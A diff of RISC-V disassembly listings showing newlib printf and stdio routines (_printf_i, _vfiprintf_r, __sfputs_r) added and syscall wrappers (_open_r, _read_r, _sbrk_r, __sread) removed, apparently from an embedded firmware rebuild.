+20402f42:	5b7d                	li	s6,-1
+20402f44:	05249863          	bne	s1,s2,20402f94 <_printf_common+0xfa>
+20402f48:	4501                	li	a0,0
+20402f4a:	a809                	j	20402f5c <_printf_common+0xc2>
+20402f4c:	4685                	li	a3,1
+20402f4e:	865a                	mv	a2,s6
+20402f50:	85d6                	mv	a1,s5
+20402f52:	854e                	mv	a0,s3
+20402f54:	9a02                	jalr	s4
+20402f56:	01751e63          	bne	a0,s7,20402f72 <_printf_common+0xd8>
+20402f5a:	557d                	li	a0,-1
+20402f5c:	50b2                	lw	ra,44(sp)
+20402f5e:	5422                	lw	s0,40(sp)
+20402f60:	5492                	lw	s1,36(sp)
+20402f62:	5902                	lw	s2,32(sp)
+20402f64:	49f2                	lw	s3,28(sp)
+20402f66:	4a62                	lw	s4,24(sp)
+20402f68:	4ad2                	lw	s5,20(sp)
+20402f6a:	4b42                	lw	s6,16(sp)
+20402f6c:	4bb2                	lw	s7,12(sp)
+20402f6e:	6145                	addi	sp,sp,48
+20402f70:	8082                	ret
+20402f72:	0905                	addi	s2,s2,1
+20402f74:	bfad                	j	20402eee <_printf_common+0x54>
+20402f76:	00d40733          	add	a4,s0,a3
+20402f7a:	03000613          	li	a2,48
+20402f7e:	04c701a3          	sb	a2,67(a4)
+20402f82:	04544703          	lbu	a4,69(s0)
+20402f86:	00168793          	addi	a5,a3,1
+20402f8a:	97a2                	add	a5,a5,s0
+20402f8c:	0689                	addi	a3,a3,2
+20402f8e:	04e781a3          	sb	a4,67(a5)
+20402f92:	bf9d                	j	20402f08 <_printf_common+0x6e>
+20402f94:	4685                	li	a3,1
+20402f96:	8622                	mv	a2,s0
+20402f98:	85d6                	mv	a1,s5
+20402f9a:	854e                	mv	a0,s3
+20402f9c:	9a02                	jalr	s4
+20402f9e:	fb650ee3          	beq	a0,s6,20402f5a <_printf_common+0xc0>
+20402fa2:	0905                	addi	s2,s2,1
+20402fa4:	b745                	j	20402f44 <_printf_common+0xaa>
 
-204047d2 <_open_r>:
-204047d2:	1141                	addi	sp,sp,-16
-204047d4:	c422                	sw	s0,8(sp)
-204047d6:	842a                	mv	s0,a0
-204047d8:	852e                	mv	a0,a1
-204047da:	85b2                	mv	a1,a2
-204047dc:	8636                	mv	a2,a3
-204047de:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-204047e2:	c606                	sw	ra,12(sp)
-204047e4:	b70fe0ef          	jal	ra,20402b54 <_open>
-204047e8:	57fd                	li	a5,-1
-204047ea:	00f51663          	bne	a0,a5,204047f6 <_open_r+0x24>
-204047ee:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-204047f2:	c391                	beqz	a5,204047f6 <_open_r+0x24>
-204047f4:	c01c                	sw	a5,0(s0)
-204047f6:	40b2                	lw	ra,12(sp)
-204047f8:	4422                	lw	s0,8(sp)
-204047fa:	0141                	addi	sp,sp,16
-204047fc:	8082                	ret
+20402fa6 <_printf_i>:
+20402fa6:	7179                	addi	sp,sp,-48
+20402fa8:	d422                	sw	s0,40(sp)
+20402faa:	d226                	sw	s1,36(sp)
+20402fac:	d04a                	sw	s2,32(sp)
+20402fae:	ce4e                	sw	s3,28(sp)
+20402fb0:	d606                	sw	ra,44(sp)
+20402fb2:	cc52                	sw	s4,24(sp)
+20402fb4:	ca56                	sw	s5,20(sp)
+20402fb6:	c85a                	sw	s6,16(sp)
+20402fb8:	0185c803          	lbu	a6,24(a1)
+20402fbc:	07800793          	li	a5,120
+20402fc0:	84aa                	mv	s1,a0
+20402fc2:	842e                	mv	s0,a1
+20402fc4:	8932                	mv	s2,a2
+20402fc6:	89b6                	mv	s3,a3
+20402fc8:	0107ee63          	bltu	a5,a6,20402fe4 <_printf_i+0x3e>
+20402fcc:	06200793          	li	a5,98
+20402fd0:	04358693          	addi	a3,a1,67
+20402fd4:	0107ed63          	bltu	a5,a6,20402fee <_printf_i+0x48>
+20402fd8:	1c080563          	beqz	a6,204031a2 <_printf_i+0x1fc>
+20402fdc:	05800793          	li	a5,88
+20402fe0:	12f80a63          	beq	a6,a5,20403114 <_printf_i+0x16e>
+20402fe4:	04240a93          	addi	s5,s0,66
+20402fe8:	05040123          	sb	a6,66(s0)
+20402fec:	a815                	j	20403020 <_printf_i+0x7a>
+20402fee:	f9d80793          	addi	a5,a6,-99
+20402ff2:	0ff7f793          	andi	a5,a5,255
+20402ff6:	4655                	li	a2,21
+20402ff8:	fef666e3          	bltu	a2,a5,20402fe4 <_printf_i+0x3e>
+20402ffc:	00001617          	auipc	a2,0x1
+20403000:	4cc60613          	addi	a2,a2,1228 # 204044c8 <__sf_fake_stdout+0x5c>
+20403004:	078a                	slli	a5,a5,0x2
+20403006:	97b2                	add	a5,a5,a2
+20403008:	439c                	lw	a5,0(a5)
+2040300a:	97b2                	add	a5,a5,a2
+2040300c:	8782                	jr	a5
+2040300e:	431c                	lw	a5,0(a4)
+20403010:	04258a93          	addi	s5,a1,66
+20403014:	00478693          	addi	a3,a5,4
+20403018:	439c                	lw	a5,0(a5)
+2040301a:	c314                	sw	a3,0(a4)
+2040301c:	04f58123          	sb	a5,66(a1)
+20403020:	4785                	li	a5,1
+20403022:	a265                	j	204031ca <_printf_i+0x224>
+20403024:	419c                	lw	a5,0(a1)
+20403026:	4308                	lw	a0,0(a4)
+20403028:	0807f613          	andi	a2,a5,128
+2040302c:	00450593          	addi	a1,a0,4
+20403030:	c20d                	beqz	a2,20403052 <_printf_i+0xac>
+20403032:	411c                	lw	a5,0(a0)
+20403034:	c30c                	sw	a1,0(a4)
+20403036:	0007d863          	bgez	a5,20403046 <_printf_i+0xa0>
+2040303a:	02d00713          	li	a4,45
+2040303e:	40f007b3          	neg	a5,a5
+20403042:	04e401a3          	sb	a4,67(s0)
+20403046:	00001617          	auipc	a2,0x1
+2040304a:	45a60613          	addi	a2,a2,1114 # 204044a0 <__sf_fake_stdout+0x34>
+2040304e:	4829                	li	a6,10
+20403050:	a0a1                	j	20403098 <_printf_i+0xf2>
+20403052:	0407f613          	andi	a2,a5,64
+20403056:	411c                	lw	a5,0(a0)
+20403058:	c30c                	sw	a1,0(a4)
+2040305a:	de71                	beqz	a2,20403036 <_printf_i+0x90>
+2040305c:	07c2                	slli	a5,a5,0x10
+2040305e:	87c1                	srai	a5,a5,0x10
+20403060:	bfd9                	j	20403036 <_printf_i+0x90>
+20403062:	4190                	lw	a2,0(a1)
+20403064:	431c                	lw	a5,0(a4)
+20403066:	08067513          	andi	a0,a2,128
+2040306a:	00478593          	addi	a1,a5,4
+2040306e:	c501                	beqz	a0,20403076 <_printf_i+0xd0>
+20403070:	c30c                	sw	a1,0(a4)
+20403072:	439c                	lw	a5,0(a5)
+20403074:	a039                	j	20403082 <_printf_i+0xdc>
+20403076:	04067613          	andi	a2,a2,64
+2040307a:	c30c                	sw	a1,0(a4)
+2040307c:	da7d                	beqz	a2,20403072 <_printf_i+0xcc>
+2040307e:	0007d783          	lhu	a5,0(a5)
+20403082:	06f00713          	li	a4,111
+20403086:	00001617          	auipc	a2,0x1
+2040308a:	41a60613          	addi	a2,a2,1050 # 204044a0 <__sf_fake_stdout+0x34>
+2040308e:	0ee80463          	beq	a6,a4,20403176 <_printf_i+0x1d0>
+20403092:	4829                	li	a6,10
+20403094:	040401a3          	sb	zero,67(s0)
+20403098:	4058                	lw	a4,4(s0)
+2040309a:	c418                	sw	a4,8(s0)
+2040309c:	00074563          	bltz	a4,204030a6 <_printf_i+0x100>
+204030a0:	400c                	lw	a1,0(s0)
+204030a2:	99ed                	andi	a1,a1,-5
+204030a4:	c00c                	sw	a1,0(s0)
+204030a6:	e399                	bnez	a5,204030ac <_printf_i+0x106>
+204030a8:	8ab6                	mv	s5,a3
+204030aa:	cf19                	beqz	a4,204030c8 <_printf_i+0x122>
+204030ac:	8ab6                	mv	s5,a3
+204030ae:	0307f733          	remu	a4,a5,a6
+204030b2:	1afd                	addi	s5,s5,-1
+204030b4:	9732                	add	a4,a4,a2
+204030b6:	00074703          	lbu	a4,0(a4)
+204030ba:	00ea8023          	sb	a4,0(s5)
+204030be:	873e                	mv	a4,a5
+204030c0:	0307d7b3          	divu	a5,a5,a6
+204030c4:	ff0775e3          	bgeu	a4,a6,204030ae <_printf_i+0x108>
+204030c8:	47a1                	li	a5,8
+204030ca:	00f81e63          	bne	a6,a5,204030e6 <_printf_i+0x140>
+204030ce:	401c                	lw	a5,0(s0)
+204030d0:	8b85                	andi	a5,a5,1
+204030d2:	cb91                	beqz	a5,204030e6 <_printf_i+0x140>
+204030d4:	4058                	lw	a4,4(s0)
+204030d6:	481c                	lw	a5,16(s0)
+204030d8:	00e7c763          	blt	a5,a4,204030e6 <_printf_i+0x140>
+204030dc:	03000793          	li	a5,48
+204030e0:	fefa8fa3          	sb	a5,-1(s5)
+204030e4:	1afd                	addi	s5,s5,-1
+204030e6:	415686b3          	sub	a3,a3,s5
+204030ea:	c814                	sw	a3,16(s0)
+204030ec:	874e                	mv	a4,s3
+204030ee:	86ca                	mv	a3,s2
+204030f0:	0070                	addi	a2,sp,12
+204030f2:	85a2                	mv	a1,s0
+204030f4:	8526                	mv	a0,s1
+204030f6:	3355                	jal	20402e9a <_printf_common>
+204030f8:	5a7d                	li	s4,-1
+204030fa:	0d451c63          	bne	a0,s4,204031d2 <_printf_i+0x22c>
+204030fe:	557d                	li	a0,-1
+20403100:	50b2                	lw	ra,44(sp)
+20403102:	5422                	lw	s0,40(sp)
+20403104:	5492                	lw	s1,36(sp)
+20403106:	5902                	lw	s2,32(sp)
+20403108:	49f2                	lw	s3,28(sp)
+2040310a:	4a62                	lw	s4,24(sp)
+2040310c:	4ad2                	lw	s5,20(sp)
+2040310e:	4b42                	lw	s6,16(sp)
+20403110:	6145                	addi	sp,sp,48
+20403112:	8082                	ret
+20403114:	050582a3          	sb	a6,69(a1)
+20403118:	00001617          	auipc	a2,0x1
+2040311c:	38860613          	addi	a2,a2,904 # 204044a0 <__sf_fake_stdout+0x34>
+20403120:	400c                	lw	a1,0(s0)
+20403122:	4308                	lw	a0,0(a4)
+20403124:	0805f813          	andi	a6,a1,128
+20403128:	411c                	lw	a5,0(a0)
+2040312a:	0511                	addi	a0,a0,4
+2040312c:	02080d63          	beqz	a6,20403166 <_printf_i+0x1c0>
+20403130:	c308                	sw	a0,0(a4)
+20403132:	0015f713          	andi	a4,a1,1
+20403136:	c701                	beqz	a4,2040313e <_printf_i+0x198>
+20403138:	0205e593          	ori	a1,a1,32
+2040313c:	c00c                	sw	a1,0(s0)
+2040313e:	4841                	li	a6,16
+20403140:	fbb1                	bnez	a5,20403094 <_printf_i+0xee>
+20403142:	4018                	lw	a4,0(s0)
+20403144:	fdf77713          	andi	a4,a4,-33
+20403148:	c018                	sw	a4,0(s0)
+2040314a:	b7a9                	j	20403094 <_printf_i+0xee>
+2040314c:	419c                	lw	a5,0(a1)
+2040314e:	0207e793          	ori	a5,a5,32
+20403152:	c19c                	sw	a5,0(a1)
+20403154:	07800793          	li	a5,120
+20403158:	04f402a3          	sb	a5,69(s0)
+2040315c:	00001617          	auipc	a2,0x1
+20403160:	35860613          	addi	a2,a2,856 # 204044b4 <__sf_fake_stdout+0x48>
+20403164:	bf75                	j	20403120 <_printf_i+0x17a>
+20403166:	0405f813          	andi	a6,a1,64
+2040316a:	c308                	sw	a0,0(a4)
+2040316c:	fc0803e3          	beqz	a6,20403132 <_printf_i+0x18c>
+20403170:	07c2                	slli	a5,a5,0x10
+20403172:	83c1                	srli	a5,a5,0x10
+20403174:	bf7d                	j	20403132 <_printf_i+0x18c>
+20403176:	4821                	li	a6,8
+20403178:	bf31                	j	20403094 <_printf_i+0xee>
+2040317a:	4190                	lw	a2,0(a1)
+2040317c:	431c                	lw	a5,0(a4)
+2040317e:	49cc                	lw	a1,20(a1)
+20403180:	08067813          	andi	a6,a2,128
+20403184:	00478513          	addi	a0,a5,4
+20403188:	00080663          	beqz	a6,20403194 <_printf_i+0x1ee>
+2040318c:	c308                	sw	a0,0(a4)
+2040318e:	439c                	lw	a5,0(a5)
+20403190:	c38c                	sw	a1,0(a5)
+20403192:	a801                	j	204031a2 <_printf_i+0x1fc>
+20403194:	c308                	sw	a0,0(a4)
+20403196:	04067613          	andi	a2,a2,64
+2040319a:	439c                	lw	a5,0(a5)
+2040319c:	da75                	beqz	a2,20403190 <_printf_i+0x1ea>
+2040319e:	00b79023          	sh	a1,0(a5)
+204031a2:	00042823          	sw	zero,16(s0)
+204031a6:	8ab6                	mv	s5,a3
+204031a8:	b791                	j	204030ec <_printf_i+0x146>
+204031aa:	431c                	lw	a5,0(a4)
+204031ac:	41d0                	lw	a2,4(a1)
+204031ae:	4581                	li	a1,0
+204031b0:	00478693          	addi	a3,a5,4
+204031b4:	c314                	sw	a3,0(a4)
+204031b6:	0007aa83          	lw	s5,0(a5)
+204031ba:	8556                	mv	a0,s5
+204031bc:	153000ef          	jal	ra,20403b0e <memchr>
+204031c0:	c501                	beqz	a0,204031c8 <_printf_i+0x222>
+204031c2:	41550533          	sub	a0,a0,s5
+204031c6:	c048                	sw	a0,4(s0)
+204031c8:	405c                	lw	a5,4(s0)
+204031ca:	c81c                	sw	a5,16(s0)
+204031cc:	040401a3          	sb	zero,67(s0)
+204031d0:	bf31                	j	204030ec <_printf_i+0x146>
+204031d2:	4814                	lw	a3,16(s0)
+204031d4:	8656                	mv	a2,s5
+204031d6:	85ca                	mv	a1,s2
+204031d8:	8526                	mv	a0,s1
+204031da:	9982                	jalr	s3
+204031dc:	f34501e3          	beq	a0,s4,204030fe <_printf_i+0x158>
+204031e0:	401c                	lw	a5,0(s0)
+204031e2:	8b89                	andi	a5,a5,2
+204031e4:	e78d                	bnez	a5,2040320e <_printf_i+0x268>
+204031e6:	47b2                	lw	a5,12(sp)
+204031e8:	4448                	lw	a0,12(s0)
+204031ea:	f0f55be3          	bge	a0,a5,20403100 <_printf_i+0x15a>
+204031ee:	853e                	mv	a0,a5
+204031f0:	bf01                	j	20403100 <_printf_i+0x15a>
+204031f2:	4685                	li	a3,1
+204031f4:	8656                	mv	a2,s5
+204031f6:	85ca                	mv	a1,s2
+204031f8:	8526                	mv	a0,s1
+204031fa:	9982                	jalr	s3
+204031fc:	f16501e3          	beq	a0,s6,204030fe <_printf_i+0x158>
+20403200:	0a05                	addi	s4,s4,1
+20403202:	445c                	lw	a5,12(s0)
+20403204:	4732                	lw	a4,12(sp)
+20403206:	8f99                	sub	a5,a5,a4
+20403208:	fefa45e3          	blt	s4,a5,204031f2 <_printf_i+0x24c>
+2040320c:	bfe9                	j	204031e6 <_printf_i+0x240>
+2040320e:	4a01                	li	s4,0
+20403210:	01940a93          	addi	s5,s0,25
+20403214:	5b7d                	li	s6,-1
+20403216:	b7f5                	j	20403202 <_printf_i+0x25c>
 
-204047fe <_read_r>:
-204047fe:	1141                	addi	sp,sp,-16
-20404800:	c422                	sw	s0,8(sp)
-20404802:	842a                	mv	s0,a0
-20404804:	852e                	mv	a0,a1
-20404806:	85b2                	mv	a1,a2
-20404808:	8636                	mv	a2,a3
-2040480a:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-2040480e:	c606                	sw	ra,12(sp)
-20404810:	b74fe0ef          	jal	ra,20402b84 <_read>
-20404814:	57fd                	li	a5,-1
-20404816:	00f51663          	bne	a0,a5,20404822 <_read_r+0x24>
-2040481a:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-2040481e:	c391                	beqz	a5,20404822 <_read_r+0x24>
-20404820:	c01c                	sw	a5,0(s0)
-20404822:	40b2                	lw	ra,12(sp)
-20404824:	4422                	lw	s0,8(sp)
-20404826:	0141                	addi	sp,sp,16
-20404828:	8082                	ret
+20403218 <__sfputc_r>:
+20403218:	461c                	lw	a5,8(a2)
+2040321a:	17fd                	addi	a5,a5,-1
+2040321c:	c61c                	sw	a5,8(a2)
+2040321e:	0007d963          	bgez	a5,20403230 <__sfputc_r+0x18>
+20403222:	4e18                	lw	a4,24(a2)
+20403224:	00e7c563          	blt	a5,a4,2040322e <__sfputc_r+0x16>
+20403228:	47a9                	li	a5,10
+2040322a:	00f59363          	bne	a1,a5,20403230 <__sfputc_r+0x18>
+2040322e:	a929                	j	20403648 <__swbuf_r>
+20403230:	421c                	lw	a5,0(a2)
+20403232:	852e                	mv	a0,a1
+20403234:	00178713          	addi	a4,a5,1
+20403238:	c218                	sw	a4,0(a2)
+2040323a:	00b78023          	sb	a1,0(a5)
+2040323e:	8082                	ret
 
-2040482a <_sbrk_r>:
-2040482a:	1141                	addi	sp,sp,-16
-2040482c:	c422                	sw	s0,8(sp)
-2040482e:	842a                	mv	s0,a0
-20404830:	852e                	mv	a0,a1
-20404832:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404836:	c606                	sw	ra,12(sp)
-20404838:	af0fe0ef          	jal	ra,20402b28 <_sbrk>
-2040483c:	57fd                	li	a5,-1
-2040483e:	00f51663          	bne	a0,a5,2040484a <_sbrk_r+0x20>
-20404842:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404846:	c391                	beqz	a5,2040484a <_sbrk_r+0x20>
-20404848:	c01c                	sw	a5,0(s0)
-2040484a:	40b2                	lw	ra,12(sp)
-2040484c:	4422                	lw	s0,8(sp)
-2040484e:	0141                	addi	sp,sp,16
-20404850:	8082                	ret
+20403240 <__sfputs_r>:
+20403240:	1101                	addi	sp,sp,-32
+20403242:	cc22                	sw	s0,24(sp)
+20403244:	ca26                	sw	s1,20(sp)
+20403246:	c84a                	sw	s2,16(sp)
+20403248:	c64e                	sw	s3,12(sp)
+2040324a:	c452                	sw	s4,8(sp)
+2040324c:	ce06                	sw	ra,28(sp)
+2040324e:	892a                	mv	s2,a0
+20403250:	89ae                	mv	s3,a1
+20403252:	8432                	mv	s0,a2
+20403254:	00d604b3          	add	s1,a2,a3
+20403258:	5a7d                	li	s4,-1
+2040325a:	00941463          	bne	s0,s1,20403262 <__sfputs_r+0x22>
+2040325e:	4501                	li	a0,0
+20403260:	a809                	j	20403272 <__sfputs_r+0x32>
+20403262:	00044583          	lbu	a1,0(s0)
+20403266:	864e                	mv	a2,s3
+20403268:	854a                	mv	a0,s2
+2040326a:	377d                	jal	20403218 <__sfputc_r>
+2040326c:	0405                	addi	s0,s0,1
+2040326e:	ff4516e3          	bne	a0,s4,2040325a <__sfputs_r+0x1a>
+20403272:	40f2                	lw	ra,28(sp)
+20403274:	4462                	lw	s0,24(sp)
+20403276:	44d2                	lw	s1,20(sp)
+20403278:	4942                	lw	s2,16(sp)
+2040327a:	49b2                	lw	s3,12(sp)
+2040327c:	4a22                	lw	s4,8(sp)
+2040327e:	6105                	addi	sp,sp,32
+20403280:	8082                	ret
 
-20404852 <__sread>:
-20404852:	1141                	addi	sp,sp,-16
-20404854:	c422                	sw	s0,8(sp)
-20404856:	842e                	mv	s0,a1
-20404858:	00e59583          	lh	a1,14(a1)
-2040485c:	c606                	sw	ra,12(sp)
-2040485e:	3745                	jal	204047fe <_read_r>
-20404860:	00054963          	bltz	a0,20404872 <__sread+0x20>
-20404864:	487c                	lw	a5,84(s0)
-20404866:	97aa                	add	a5,a5,a0
-20404868:	c87c                	sw	a5,84(s0)
-2040486a:	40b2                	lw	ra,12(sp)
-2040486c:	4422                	lw	s0,8(sp)
-2040486e:	0141                	addi	sp,sp,16
-20404870:	8082                	ret
-20404872:	00c45783          	lhu	a5,12(s0)
-20404876:	777d                	lui	a4,0xfffff
-20404878:	177d                	addi	a4,a4,-1
-2040487a:	8ff9                	and	a5,a5,a4
-2040487c:	00f41623          	sh	a5,12(s0)
-20404880:	b7ed                	j	2040486a <__sread+0x18>
+20403282 <_vfiprintf_r>:
+20403282:	7135                	addi	sp,sp,-160
+20403284:	cd22                	sw	s0,152(sp)
+20403286:	cb26                	sw	s1,148(sp)
+20403288:	c94a                	sw	s2,144(sp)
+2040328a:	c74e                	sw	s3,140(sp)
+2040328c:	cf06                	sw	ra,156(sp)
+2040328e:	c552                	sw	s4,136(sp)
+20403290:	c356                	sw	s5,132(sp)
+20403292:	c15a                	sw	s6,128(sp)
+20403294:	dede                	sw	s7,124(sp)
+20403296:	dce2                	sw	s8,120(sp)
+20403298:	dae6                	sw	s9,116(sp)
+2040329a:	89aa                	mv	s3,a0
+2040329c:	84ae                	mv	s1,a1
+2040329e:	8932                	mv	s2,a2
+204032a0:	8436                	mv	s0,a3
+204032a2:	c509                	beqz	a0,204032ac <_vfiprintf_r+0x2a>
+204032a4:	4d1c                	lw	a5,24(a0)
+204032a6:	e399                	bnez	a5,204032ac <_vfiprintf_r+0x2a>
+204032a8:	f18ff0ef          	jal	ra,204029c0 <__sinit>
+204032ac:	00001797          	auipc	a5,0x1
+204032b0:	1a078793          	addi	a5,a5,416 # 2040444c <__sf_fake_stdin>
+204032b4:	0cf49c63          	bne	s1,a5,2040338c <_vfiprintf_r+0x10a>
+204032b8:	0049a483          	lw	s1,4(s3)
+204032bc:	00c4d783          	lhu	a5,12(s1)
+204032c0:	8ba1                	andi	a5,a5,8
+204032c2:	c7fd                	beqz	a5,204033b0 <_vfiprintf_r+0x12e>
+204032c4:	489c                	lw	a5,16(s1)
+204032c6:	c7ed                	beqz	a5,204033b0 <_vfiprintf_r+0x12e>
+204032c8:	02000793          	li	a5,32
+204032cc:	02f104a3          	sb	a5,41(sp)
+204032d0:	03000793          	li	a5,48
+204032d4:	d202                	sw	zero,36(sp)
+204032d6:	02f10523          	sb	a5,42(sp)
+204032da:	c622                	sw	s0,12(sp)
+204032dc:	02500b93          	li	s7,37
+204032e0:	00001a97          	auipc	s5,0x1
+204032e4:	1aca8a93          	addi	s5,s5,428 # 2040448c <__sf_fake_stdout+0x20>
+204032e8:	4c05                	li	s8,1
+204032ea:	4b29                	li	s6,10
+204032ec:	844a                	mv	s0,s2
+204032ee:	00044783          	lbu	a5,0(s0)
+204032f2:	c399                	beqz	a5,204032f8 <_vfiprintf_r+0x76>
+204032f4:	0f779063          	bne	a5,s7,204033d4 <_vfiprintf_r+0x152>
+204032f8:	41240cb3          	sub	s9,s0,s2
+204032fc:	01240d63          	beq	s0,s2,20403316 <_vfiprintf_r+0x94>
+20403300:	86e6                	mv	a3,s9
+20403302:	864a                	mv	a2,s2
+20403304:	85a6                	mv	a1,s1
+20403306:	854e                	mv	a0,s3
+20403308:	3f25                	jal	20403240 <__sfputs_r>
+2040330a:	57fd                	li	a5,-1
+2040330c:	1ef50463          	beq	a0,a5,204034f4 <_vfiprintf_r+0x272>
+20403310:	5792                	lw	a5,36(sp)
+20403312:	97e6                	add	a5,a5,s9
+20403314:	d23e                	sw	a5,36(sp)
+20403316:	00044783          	lbu	a5,0(s0)
+2040331a:	1c078d63          	beqz	a5,204034f4 <_vfiprintf_r+0x272>
+2040331e:	57fd                	li	a5,-1
+20403320:	00140913          	addi	s2,s0,1
+20403324:	c802                	sw	zero,16(sp)
+20403326:	ce02                	sw	zero,28(sp)
+20403328:	ca3e                	sw	a5,20(sp)
+2040332a:	cc02                	sw	zero,24(sp)
+2040332c:	040109a3          	sb	zero,83(sp)
+20403330:	d482                	sw	zero,104(sp)
+20403332:	00094583          	lbu	a1,0(s2)
+20403336:	4615                	li	a2,5
+20403338:	8556                	mv	a0,s5
+2040333a:	7d4000ef          	jal	ra,20403b0e <memchr>
+2040333e:	47c2                	lw	a5,16(sp)
+20403340:	00190413          	addi	s0,s2,1
+20403344:	e951                	bnez	a0,204033d8 <_vfiprintf_r+0x156>
+20403346:	0107f713          	andi	a4,a5,16
+2040334a:	c709                	beqz	a4,20403354 <_vfiprintf_r+0xd2>
+2040334c:	02000713          	li	a4,32
+20403350:	04e109a3          	sb	a4,83(sp)
+20403354:	0087f713          	andi	a4,a5,8
+20403358:	c709                	beqz	a4,20403362 <_vfiprintf_r+0xe0>
+2040335a:	02b00713          	li	a4,43
+2040335e:	04e109a3          	sb	a4,83(sp)
+20403362:	00094683          	lbu	a3,0(s2)
+20403366:	02a00713          	li	a4,42
+2040336a:	06e68f63          	beq	a3,a4,204033e8 <_vfiprintf_r+0x166>
+2040336e:	47f2                	lw	a5,28(sp)
+20403370:	844a                	mv	s0,s2
+20403372:	4681                	li	a3,0
+20403374:	4625                	li	a2,9
+20403376:	00044703          	lbu	a4,0(s0)
+2040337a:	00140593          	addi	a1,s0,1
+2040337e:	fd070713          	addi	a4,a4,-48
+20403382:	0ae67863          	bgeu	a2,a4,20403432 <_vfiprintf_r+0x1b0>
+20403386:	caad                	beqz	a3,204033f8 <_vfiprintf_r+0x176>
+20403388:	ce3e                	sw	a5,28(sp)
+2040338a:	a0bd                	j	204033f8 <_vfiprintf_r+0x176>
+2040338c:	00001797          	auipc	a5,0x1
+20403390:	0e078793          	addi	a5,a5,224 # 2040446c <__sf_fake_stdout>
+20403394:	00f49563          	bne	s1,a5,2040339e <_vfiprintf_r+0x11c>
+20403398:	0089a483          	lw	s1,8(s3)
+2040339c:	b705                	j	204032bc <_vfiprintf_r+0x3a>
+2040339e:	00001797          	auipc	a5,0x1
+204033a2:	08e78793          	addi	a5,a5,142 # 2040442c <__sf_fake_stderr>
+204033a6:	f0f49be3          	bne	s1,a5,204032bc <_vfiprintf_r+0x3a>
+204033aa:	00c9a483          	lw	s1,12(s3)
+204033ae:	b739                	j	204032bc <_vfiprintf_r+0x3a>
+204033b0:	85a6                	mv	a1,s1
+204033b2:	854e                	mv	a0,s3
+204033b4:	2e99                	jal	2040370a <__swsetup_r>
+204033b6:	d909                	beqz	a0,204032c8 <_vfiprintf_r+0x46>
+204033b8:	557d                	li	a0,-1
+204033ba:	40fa                	lw	ra,156(sp)
+204033bc:	446a                	lw	s0,152(sp)
+204033be:	44da                	lw	s1,148(sp)
+204033c0:	494a                	lw	s2,144(sp)
+204033c2:	49ba                	lw	s3,140(sp)
+204033c4:	4a2a                	lw	s4,136(sp)
+204033c6:	4a9a                	lw	s5,132(sp)
+204033c8:	4b0a                	lw	s6,128(sp)
+204033ca:	5bf6                	lw	s7,124(sp)
+204033cc:	5c66                	lw	s8,120(sp)
+204033ce:	5cd6                	lw	s9,116(sp)
+204033d0:	610d                	addi	sp,sp,160
+204033d2:	8082                	ret
+204033d4:	0405                	addi	s0,s0,1
+204033d6:	bf21                	j	204032ee <_vfiprintf_r+0x6c>
+204033d8:	41550533          	sub	a0,a0,s5
+204033dc:	00ac1533          	sll	a0,s8,a0
+204033e0:	8fc9                	or	a5,a5,a0
+204033e2:	c83e                	sw	a5,16(sp)
+204033e4:	8922                	mv	s2,s0
+204033e6:	b7b1                	j	20403332 <_vfiprintf_r+0xb0>
+204033e8:	4732                	lw	a4,12(sp)
+204033ea:	00470693          	addi	a3,a4,4
+204033ee:	4318                	lw	a4,0(a4)
+204033f0:	c636                	sw	a3,12(sp)
+204033f2:	02074963          	bltz	a4,20403424 <_vfiprintf_r+0x1a2>
+204033f6:	ce3a                	sw	a4,28(sp)
+204033f8:	00044703          	lbu	a4,0(s0)
+204033fc:	02e00793          	li	a5,46
+20403400:	04f71f63          	bne	a4,a5,2040345e <_vfiprintf_r+0x1dc>
+20403404:	00144703          	lbu	a4,1(s0)
+20403408:	02a00793          	li	a5,42
+2040340c:	02f71b63          	bne	a4,a5,20403442 <_vfiprintf_r+0x1c0>
+20403410:	47b2                	lw	a5,12(sp)
+20403412:	0409                	addi	s0,s0,2
+20403414:	00478713          	addi	a4,a5,4
+20403418:	439c                	lw	a5,0(a5)
+2040341a:	c63a                	sw	a4,12(sp)
+2040341c:	0207c163          	bltz	a5,2040343e <_vfiprintf_r+0x1bc>
+20403420:	ca3e                	sw	a5,20(sp)
+20403422:	a835                	j	2040345e <_vfiprintf_r+0x1dc>
+20403424:	40e00733          	neg	a4,a4
+20403428:	0027e793          	ori	a5,a5,2
+2040342c:	ce3a                	sw	a4,28(sp)
+2040342e:	c83e                	sw	a5,16(sp)
+20403430:	b7e1                	j	204033f8 <_vfiprintf_r+0x176>
+20403432:	036787b3          	mul	a5,a5,s6
+20403436:	842e                	mv	s0,a1
+20403438:	4685                	li	a3,1
+2040343a:	97ba                	add	a5,a5,a4
+2040343c:	bf2d                	j	20403376 <_vfiprintf_r+0xf4>
+2040343e:	57fd                	li	a5,-1
+20403440:	b7c5                	j	20403420 <_vfiprintf_r+0x19e>
+20403442:	0405                	addi	s0,s0,1
+20403444:	ca02                	sw	zero,20(sp)
+20403446:	4681                	li	a3,0
+20403448:	4781                	li	a5,0
+2040344a:	4625                	li	a2,9
+2040344c:	00044703          	lbu	a4,0(s0)
+20403450:	00140593          	addi	a1,s0,1
+20403454:	fd070713          	addi	a4,a4,-48
+20403458:	06e67463          	bgeu	a2,a4,204034c0 <_vfiprintf_r+0x23e>
+2040345c:	f2f1                	bnez	a3,20403420 <_vfiprintf_r+0x19e>
+2040345e:	00044583          	lbu	a1,0(s0)
+20403462:	460d                	li	a2,3
+20403464:	00001517          	auipc	a0,0x1
+20403468:	03050513          	addi	a0,a0,48 # 20404494 <__sf_fake_stdout+0x28>
+2040346c:	254d                	jal	20403b0e <memchr>
+2040346e:	cd11                	beqz	a0,2040348a <_vfiprintf_r+0x208>
+20403470:	00001797          	auipc	a5,0x1
+20403474:	02478793          	addi	a5,a5,36 # 20404494 <__sf_fake_stdout+0x28>
+20403478:	8d1d                	sub	a0,a0,a5
+2040347a:	04000793          	li	a5,64
+2040347e:	00a797b3          	sll	a5,a5,a0
+20403482:	4542                	lw	a0,16(sp)
+20403484:	0405                	addi	s0,s0,1
+20403486:	8d5d                	or	a0,a0,a5
+20403488:	c82a                	sw	a0,16(sp)
+2040348a:	00044583          	lbu	a1,0(s0)
+2040348e:	4619                	li	a2,6
+20403490:	00001517          	auipc	a0,0x1
